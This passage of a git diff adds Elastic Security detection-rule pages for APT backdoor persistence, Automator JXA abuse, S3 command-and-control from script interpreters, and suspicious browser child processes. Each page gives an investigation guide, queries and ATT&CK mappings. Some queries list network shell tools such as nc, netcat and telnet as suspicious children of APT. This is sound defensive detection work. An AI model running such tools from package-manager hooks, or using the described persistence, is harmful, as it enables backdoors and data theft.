Reference URL: https://attack.mitre.org/techniques/T1647/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-suspicious-apt-package-manager-execution.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-suspicious-apt-package-manager-execution.asciidoc new file mode 100644 index 0000000000..519376c4ab --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-suspicious-apt-package-manager-execution.asciidoc @@ -0,0 +1,220 @@ +[[prebuilt-rule-8-19-20-suspicious-apt-package-manager-execution]] +=== Suspicious APT Package Manager Execution + +Detects suspicious process events executed by the APT package manager, potentially indicating persistence through an APT backdoor. In Linux, APT (Advanced Package Tool) is a command-line utility used for handling packages on Debian-based systems, providing functions for installing, updating, upgrading, and removing software along with managing package repositories. Attackers can backdoor APT to gain persistence by injecting malicious code into scripts that APT runs, thereby ensuring continued unauthorized access or control each time APT is used for package management. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process* +* logs-sentinel_one_cloud_funnel.* +* logs-crowdstrike.fdr* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/security-labs/sequel-on-persistence-mechanisms + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Persistence +* Tactic: Execution +* Tactic: Defense Evasion +* Data Source: Elastic Defend +* Data Source: SentinelOne +* Resources: Investigation Guide +* Data Source: Crowdstrike + +*Version*: 111 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Suspicious APT Package Manager Execution* + + +The APT package manager is a vital tool for managing software on Debian-based Linux systems, handling tasks like installation and updates. Adversaries may exploit APT by embedding malicious scripts to maintain persistence and control. The detection rule identifies unusual shell or script executions initiated by APT, signaling potential backdoor activities, thus aiding in early threat detection and response. + + +*Possible investigation steps* + + +- Review the process execution details to identify the specific shell or script that was executed with APT as the parent process. Pay attention to the process names and arguments, such as "bash", "dash", "sh", etc., and the presence of the "-c" argument. +- Examine the command-line arguments and scripts executed by the suspicious process to determine if they contain any malicious or unexpected commands. +- Check the parent process details, specifically the APT process, to understand the context in which the shell or script was executed. This includes reviewing any recent package installations or updates that might have triggered the execution. +- Investigate the user account under which the suspicious process was executed to assess if it has been compromised or if it has elevated privileges that could be exploited. +- Correlate the event with other security logs or alerts from the same host to identify any additional indicators of compromise or related suspicious activities. +- Review the system's package management logs to identify any recent changes or anomalies in package installations or updates that could be linked to the suspicious execution. + + +*False positive analysis* + + +- Legitimate administrative scripts executed by system administrators using APT may trigger the rule. To handle this, identify and document routine administrative tasks and create exceptions for these specific scripts or commands. +- Automated system maintenance scripts that use APT for updates or installations can be mistaken for suspicious activity. Review and whitelist these scripts by their specific command patterns or script names. +- Custom software deployment processes that involve APT and shell scripts might be flagged. Analyze these processes and exclude them by defining clear criteria for legitimate deployment activities. +- Security tools or monitoring solutions that interact with APT for scanning or auditing purposes may cause false positives. Verify these tools' operations and exclude their known benign processes from triggering the rule. +- Development environments where developers frequently use APT and shell scripts for testing and building software can lead to alerts. Establish a baseline of normal development activities and exclude these from the detection rule. + + +*Response and remediation* + + +- Isolate the affected host immediately to prevent further unauthorized access or lateral movement within the network. +- Terminate any suspicious processes identified in the alert, particularly those initiated by the APT package manager that match the query criteria. +- Conduct a thorough review of the APT configuration files and scripts to identify and remove any injected malicious code or unauthorized modifications. +- Restore the affected system from a known good backup if malicious modifications are extensive or if the integrity of the system cannot be assured. +- Update all system packages and apply security patches to mitigate vulnerabilities that may have been exploited by the adversary. +- Monitor the affected host and network for any signs of re-infection or further suspicious activity, focusing on the execution of shell scripts and unauthorized network connections. +- Escalate the incident to the security operations team for further investigation and to determine if additional systems have been compromised. + +==== Setup + + + +*Setup* + + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +sequence by host.id with maxspan=5s + [process where host.os.type == "linux" and event.type == "start" and event.action in ("exec", "start", "ProcessRollup2") and + process.parent.name == "apt" and process.args == "-c" and process.name in ( + "bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish" + ) and not process.executable == "/usr/lib/venv-salt-minion/bin/python.original" + ] by process.entity_id + [process where host.os.type == "linux" and event.type == "start" and event.action in ("exec", "start", "ProcessRollup2") and process.name like ( + "bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish", "python*", "php*", + "perl", "ruby", "lua*", "openssl", "nc", "netcat", "ncat", "telnet", "awk" + ) and not ( + ?process.parent.executable like ( + "/run/k3s/containerd*", "/tmp/newroot/*", "/usr/share/debconf/frontend", "/var/tmp/buildah*", "./merged/*", + "./*/vz/root/*", "/usr/bin/adequate" + ) or + process.executable like ("/usr/lib/venv-salt-minion/bin/python.original", "./merged/var/lib/containers/*") or + process.command_line in ( + "python3 /usr/sbin/omv-mkaptidx", "python3 /usr/local/bin/abr-upgrade --upgrade", + "sh -c apt-get indextargets -o Dir::State::lists=/var/lib/apt/lists/ --format='$(FILENAME)' 'Created-By: Packages'", + "/usr/bin/perl /usr/sbin/dpkg-preconfigure --apt", "/bin/sh -e /usr/lib/update-notifier/update-motd-updates-available", + "/usr/bin/python3 /usr/lib/cnf-update-db", "/usr/bin/python3 /usr/bin/apt-listchanges --apt", + "/usr/bin/perl -w /usr/sbin/dpkg-preconfigure --apt", "/bin/sh /usr/lib/needrestart/apt-pinvoke", + "/bin/sh /usr/bin/kali-check-apt-sources", "/bin/sh /usr/lib/needrestart/apt-pinvoke -m u", + "/usr/bin/perl /usr/sbin/needrestart", "/usr/bin/perl -w /usr/bin/apt-show-versions -i", + "/usr/bin/perl -w /usr/bin/apt-show-versions -i", "/usr/bin/perl -w /bin/apt-show-versions -i", + "/usr/bin/perl /bin/adequate --help", "/usr/bin/perl /usr/sbin/needrestart -m u", + "/usr/bin/perl -w /usr/share/debconf/frontend /usr/sbin/needrestart", + "/usr/bin/python3 /sbin/katello-tracer-upload", + "/usr/bin/python3 /usr/bin/package-profile-upload" + ) or + ?process.parent.command_line like ("sh -c if [ -x*", "sh -c -- if [ -x*") or + process.args in ("/usr/sbin/needrestart", "/usr/lib/needrestart/apt-pinvoke", "/usr/share/proxmox-ve/pve-apt-hook", "/usr/bin/dpkg-source") or + ?process.parent.args == "/usr/share/debconf/frontend" + ) + ] by process.parent.entity_id + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Create or Modify System Process +** ID: T1543 +** Reference URL: https://attack.mitre.org/techniques/T1543/ +* Technique: +** Name: Event Triggered Execution +** ID: T1546 +** Reference URL: https://attack.mitre.org/techniques/T1546/ +* Sub-technique: +** Name: Installer Packages +** ID: T1546.016 +** Reference URL: https://attack.mitre.org/techniques/T1546/016/ +* Technique: +** Name: Hijack Execution Flow +** ID: T1574 +** Reference URL: https://attack.mitre.org/techniques/T1574/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Unix Shell +** ID: T1059.004 +** Reference URL: https://attack.mitre.org/techniques/T1059/004/ +* Sub-technique: +** Name: Python +** ID: T1059.006 +** Reference URL: https://attack.mitre.org/techniques/T1059/006/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-suspicious-apt-package-manager-network-connection.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-suspicious-apt-package-manager-network-connection.asciidoc new file mode 100644 index 0000000000..17bfd2ed16 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-suspicious-apt-package-manager-network-connection.asciidoc @@ -0,0 +1,199 @@ +[[prebuilt-rule-8-19-20-suspicious-apt-package-manager-network-connection]] +=== Suspicious APT Package Manager Network Connection + +Detects suspicious network events executed by the APT package manager, potentially indicating persistence through an APT backdoor. In Linux, APT (Advanced Package Tool) is a command-line utility used for handling packages on Debian-based systems, providing functions for installing, updating, upgrading, and removing software along with managing package repositories. Attackers can backdoor APT to gain persistence by injecting malicious code into scripts that APT runs, thereby ensuring continued unauthorized access or control each time APT is used for package management. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.network* +* logs-endpoint.events.process* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/security-labs/sequel-on-persistence-mechanisms + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Persistence +* Tactic: Command and Control +* Tactic: Defense Evasion +* Data Source: Elastic Defend +* Resources: Investigation Guide + +*Version*: 10 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Suspicious APT Package Manager Network Connection* + + +The APT package manager is crucial for managing software on Debian-based Linux systems. Adversaries may exploit APT by injecting malicious scripts, gaining persistence and control. The detection rule identifies suspicious APT-triggered shell executions followed by unusual network connections, flagging potential backdoor activities and unauthorized access attempts. + + +*Possible investigation steps* + + +- Review the process details to confirm the parent process is indeed 'apt' and check the command-line arguments for any unusual or unauthorized scripts being executed. +- Investigate the network connection details, focusing on the destination IP address to determine if it is known to be malicious or associated with suspicious activity. Cross-reference with threat intelligence sources. +- Examine the process tree to identify any child processes spawned by the suspicious shell execution, which may provide further insight into the attacker's actions or intentions. +- Check the system logs for any other recent unusual activities or alerts that might correlate with the suspicious APT activity, such as unauthorized user logins or file modifications. +- Assess the system for any signs of persistence mechanisms that may have been established, such as cron jobs or modified startup scripts, which could indicate a backdoor installation. +- If possible, capture and analyze network traffic to and from the destination IP to understand the nature of the communication and identify any data exfiltration or command and control activities. + + +*False positive analysis* + + +- Legitimate administrative scripts executed by APT may trigger the rule if they involve shell commands followed by network connections. Users can create exceptions for known scripts by specifying their paths or hashes. +- Automated system updates or package installations that involve network connections might be flagged. Users should monitor and whitelist these routine operations by identifying the specific processes and network destinations involved. +- Network connections to internal or trusted IP addresses not covered by the existing CIDR exclusions could be mistakenly flagged. Users can expand the CIDR list to include additional trusted IP ranges specific to their environment. +- Use of alternative shell environments or custom scripts that invoke APT with network operations may cause false positives. Users should document and exclude these specific use cases by process name or command-line arguments. +- Non-standard APT configurations or third-party tools that interact with APT and initiate network connections might be misidentified. Users should review and whitelist these tools by their executable paths or process names. + + +*Response and remediation* + + +- Isolate the affected host immediately to prevent further unauthorized network connections and potential lateral movement within the network. +- Terminate any suspicious processes identified as being executed by the APT package manager, especially those involving shell executions. +- Conduct a thorough review of the APT configuration files and scripts to identify and remove any injected malicious code or unauthorized modifications. +- Revert any unauthorized changes to the system or software packages by restoring from a known good backup, ensuring the integrity of the system. +- Update all system packages and apply security patches to close any vulnerabilities that may have been exploited by the attacker. +- Monitor network traffic for any further suspicious connections or activities originating from the affected host, using enhanced logging and alerting mechanisms. +- Escalate the incident to the security operations team for further investigation and to determine if additional systems have been compromised, ensuring a comprehensive response. + +==== Setup + + + +*Setup* + + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +sequence by host.id with maxspan=5s + [process where host.os.type == "linux" and event.type == "start" and event.action == "exec" and + process.parent.name == "apt" and process.args == "-c" and + process.name in ("bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish") and + not process.args == "/usr/bin/apt-listbugs apt" + ] by process.entity_id + [network where host.os.type == "linux" and event.action == "connection_attempted" and event.type == "start" and not ( + destination.ip == null or destination.ip == "0.0.0.0" or cidrmatch( + destination.ip, "10.0.0.0/8", "127.0.0.0/8", "169.254.0.0/16", "172.16.0.0/12", "192.0.0.0/24", "192.0.0.0/29", + "192.0.0.8/32", "192.0.0.9/32", "192.0.0.10/32", "192.0.0.170/32", "192.0.0.171/32", "192.0.2.0/24", + "192.31.196.0/24", "192.52.193.0/24", "192.168.0.0/16", "192.88.99.0/24", "224.0.0.0/4", "100.64.0.0/10", + "192.175.48.0/24","198.18.0.0/15", "198.51.100.0/24", "203.0.113.0/24", "240.0.0.0/4", "::1", "FE80::/10", + "FF00::/8", "172.31.0.0/16" + ) + ) and not process.executable == "/usr/bin/apt-listbugs" + ] by process.parent.entity_id + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Create or Modify System Process +** ID: T1543 +** Reference URL: https://attack.mitre.org/techniques/T1543/ +* Technique: +** Name: Event Triggered Execution +** ID: T1546 +** Reference URL: https://attack.mitre.org/techniques/T1546/ +* Sub-technique: +** Name: Installer Packages +** ID: T1546.016 +** Reference URL: https://attack.mitre.org/techniques/T1546/016/ +* Technique: +** Name: Hijack Execution Flow +** ID: T1574 +** Reference URL: https://attack.mitre.org/techniques/T1574/ +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Unix Shell +** ID: T1059.004 +** Reference URL: https://attack.mitre.org/techniques/T1059/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-suspicious-automator-workflows-execution.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-suspicious-automator-workflows-execution.asciidoc new file mode 100644 index 0000000000..ac8737f1c8 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-suspicious-automator-workflows-execution.asciidoc @@ -0,0 +1,153 @@ +[[prebuilt-rule-8-19-20-suspicious-automator-workflows-execution]] +=== Suspicious Automator Workflows Execution + +Identifies the execution of the Automator Workflows process followed by a network connection from it's XPC service. Adversaries may drop a custom workflow template that hosts malicious JavaScript for Automation (JXA) code as an alternative to using osascript. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.network* +* logs-endpoint.events.process* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://posts.specterops.io/persistent-jxa-66e1c3cd1cf5 + +*Tags*: + +* Domain: Endpoint +* OS: macOS +* Use Case: Threat Detection +* Tactic: Execution +* Data Source: Elastic Defend +* Resources: Investigation Guide + +*Version*: 112 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Suspicious Automator Workflows Execution* + + +Automator, a macOS utility, allows users to automate repetitive tasks through workflows. Adversaries can exploit this by embedding malicious JavaScript for Automation (JXA) in custom workflows, executing harmful scripts. The detection rule identifies this threat by monitoring the Automator process and subsequent network activity, flagging potential misuse when these actions occur in quick succession. + + +*Possible investigation steps* + + +- Review the process execution details for the Automator process on the affected host, focusing on the timestamp and user context to determine if the execution was expected or authorized. +- Examine the network activity associated with the com.apple.automator.runner process to identify any unusual or suspicious external connections, including destination IP addresses and domains. +- Check for any recent changes or additions to Automator workflows on the host, especially those containing JavaScript for Automation (JXA) code, to identify potential malicious modifications. +- Investigate the user account associated with the Automator process execution to determine if there are any signs of compromise or unauthorized access. +- Correlate the alert with other security events or logs from the same host around the same timeframe to identify any additional indicators of compromise or related suspicious activities. + + +*False positive analysis* + + +- Legitimate Automator workflows: Users may have legitimate workflows that trigger network connections, such as automated data uploads or API calls. To handle these, identify and document known safe workflows and create exceptions for them in the detection rule. +- Frequent developer activity: Developers using Automator for testing or development purposes might frequently trigger this rule. Consider excluding specific user accounts or development environments from the rule to reduce noise. +- System maintenance tasks: Some system maintenance or administrative tasks might use Automator workflows that connect to the network. Review and whitelist these tasks if they are verified as non-threatening. +- Third-party applications: Certain third-party applications may use Automator workflows as part of their normal operation. Identify these applications and exclude their processes from the rule if they are deemed safe. + + +*Response and remediation* + + +- Immediately isolate the affected macOS host from the network to prevent further malicious activity and potential lateral movement. +- Terminate the Automator process and any associated XPC services, such as "com.apple.automator.runner," to stop the execution of the malicious workflow. +- Conduct a thorough review of the affected system to identify and remove any malicious JavaScript for Automation (JXA) scripts or custom workflow templates that may have been dropped by the adversary. +- Restore the system from a known good backup if any unauthorized changes or persistent threats are detected that cannot be easily remediated. +- Escalate the incident to the security operations team for further analysis and to determine if additional systems may be affected. +- Implement additional monitoring on the affected host and similar systems to detect any recurrence of suspicious Automator activity, focusing on process and network activity patterns. +- Update endpoint protection and intrusion detection systems to recognize and block similar threats in the future, leveraging the MITRE ATT&CK framework details for enhanced detection capabilities. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a macOS System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, for MacOS it is recommended to select "Traditional Endpoints". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/current/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +sequence by host.id, process.entity_id with maxspan=15s + [process where host.os.type == "macos" and event.type in ("start", "process_started") and process.name == "Automator"] + [network where host.os.type == "macos"] + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: JavaScript +** ID: T1059.007 +** Reference URL: https://attack.mitre.org/techniques/T1059/007/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-suspicious-aws-s3-connection-via-script-interpreter.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-suspicious-aws-s3-connection-via-script-interpreter.asciidoc new file mode 100644 index 0000000000..5a8af47b6a --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-suspicious-aws-s3-connection-via-script-interpreter.asciidoc @@ -0,0 +1,145 @@ +[[prebuilt-rule-8-19-20-suspicious-aws-s3-connection-via-script-interpreter]] +=== Suspicious AWS S3 Connection via Script Interpreter + +Detects when a script interpreter (osascript, Node.js, Python) with minimal arguments makes an outbound connection to AWS S3 or CloudFront domains. Threat actors have used S3 buckets for both command and control and data exfiltration. Script interpreters connecting to cloud storage should be investigated for potential malicious activity. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: macOS +* Use Case: Threat Detection +* Tactic: Command and Control +* Data Source: Elastic Defend +* Resources: Investigation Guide + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + ## Triage and analysis + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Suspicious AWS S3 Connection via Script Interpreter* + + +This rule flags macOS script interpreters (AppleScript, Node.js, Python) that repeatedly initiate outbound connections to AWS S3 or CloudFront with little or no command context, a common sign of scripted automation rather than normal app traffic. Attackers often use a short Python or Node one-liner to fetch a second-stage payload from an S3 bucket and then poll the same bucket or a CloudFront-backed URL for commands or to upload stolen data. + + +*Possible investigation steps* + + +- Pivot from the flagged executable to full process ancestry and command-line/script file to determine what code initiated the S3/CloudFront traffic and whether it was launched interactively, by a LaunchAgent/Daemon, or by another app. +- Identify the specific bucket/distribution and object paths involved using available URL/SNI/HTTP telemetry, then validate ownership and reputation by correlating with cloud account inventory, known-good tooling, and threat intel. +- Review concurrent endpoint activity from the same process and user such as file downloads to writable/temp locations, new executable creation, permission changes, or immediate execution of newly written payloads. +- Hunt for follow-on behaviors consistent with C2 or exfiltration including repeated polling intervals, unusually large outbound byte counts, multipart upload patterns, and matching connections from other hosts using the same domain. +- If suspicious, capture and preserve the script contents and related artifacts (Python/Node packages, AppleScript files, launch plist, cron entries) and isolate the host while blocking the destination domain at egress. + + +*False positive analysis* + + +- A developer or build/CI workflow runs Python/Node scripts on macOS to fetch artifacts or dependencies from an organization-owned S3 bucket or CloudFront distribution, producing repeated connections during installs, tests, or packaging. +- A legitimate AppleScript/Python/Node automation (e.g., user logon script, LaunchAgent task, or scheduled job) periodically uploads logs/backups or syncs configuration to S3/CloudFront, resulting in bursty, minimal-argument interpreter network starts that exceed the connection threshold. + + +*Response and remediation* + + +- Isolate the affected macOS host from the network and immediately block the observed S3/CloudFront domain(s) and resolved IPs at egress while allowing access needed for forensics and management. +- Acquire and preserve the initiating script and execution context by collecting the interpreter’s on-disk script/one-liner source, parent process details, relevant LaunchAgents/LaunchDaemons plist files, and any newly written binaries or archives associated with the same time window. +- Eradicate persistence and tooling by removing or disabling the malicious launch plist/cron entries, deleting the identified script and any downloaded payloads, and revoking/quarantining any Python/Node packages or AppleScript components tied to the outbound S3 activity. +- Reset and revoke credentials exposed on the host by rotating the user’s passwords/tokens, removing any AWS keys found in environment variables/config files (e.g., CLI config, application secrets), and invalidating active sessions associated with the user or host. +- Recover by reimaging or restoring the endpoint from a known-good baseline if payload execution or system modification is confirmed, then reintroduce it to the network only after validating no recurring connections to the same S3/CloudFront endpoints. +- Escalate to incident response and cloud security if multiple hosts show the same destination domain or bucket, the script performs uploads or handles sensitive files, or you identify AWS credentials, data staging, or active command polling indicative of C2 or exfiltration. + + +==== Rule query + + +[source, js] +---------------------------------- +FROM logs-endpoint.events.network-* +| WHERE host.os.type == "macos" + AND event.type == "start" + AND (process.name == "osascript" + OR process.name == "node" + OR process.name LIKE "python*") + AND (destination.domain LIKE "s3.*.amazonaws.com" + OR destination.domain LIKE "*.s3*.amazonaws.com" + OR destination.domain LIKE "*.cloudfront.net") +| STATS Esql.connection_count = COUNT(*) + BY process.executable, user.name, host.name, destination.domain +| WHERE Esql.connection_count >= 5 +| KEEP Esql.*, process.executable, user.name, host.name, destination.domain + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Web Service +** ID: T1102 +** Reference URL: https://attack.mitre.org/techniques/T1102/ +* Tactic: +** Name: Exfiltration +** ID: TA0010 +** Reference URL: https://attack.mitre.org/tactics/TA0010/ +* Technique: +** Name: Exfiltration Over Web Service +** ID: T1567 +** Reference URL: https://attack.mitre.org/techniques/T1567/ +* Sub-technique: +** Name: Exfiltration to Cloud Storage +** ID: T1567.002 +** Reference URL: https://attack.mitre.org/techniques/T1567/002/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: AppleScript +** ID: T1059.002 +** Reference URL: https://attack.mitre.org/techniques/T1059/002/ +* Sub-technique: +** Name: Python +** ID: T1059.006 +** Reference URL: https://attack.mitre.org/techniques/T1059/006/ +* Sub-technique: +** Name: JavaScript +** ID: T1059.007 +** Reference URL: https://attack.mitre.org/techniques/T1059/007/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-suspicious-browser-child-process.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-suspicious-browser-child-process.asciidoc new file mode 100644 index 0000000000..41478a3bae --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-suspicious-browser-child-process.asciidoc @@ -0,0 +1,190 @@ +[[prebuilt-rule-8-19-20-suspicious-browser-child-process]] +=== Suspicious Browser Child Process + +Identifies the execution of a suspicious browser child process. Adversaries may gain access to a system through a user visiting a website over the normal course of browsing. With this technique, the user's web browser is typically targeted for exploitation. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m 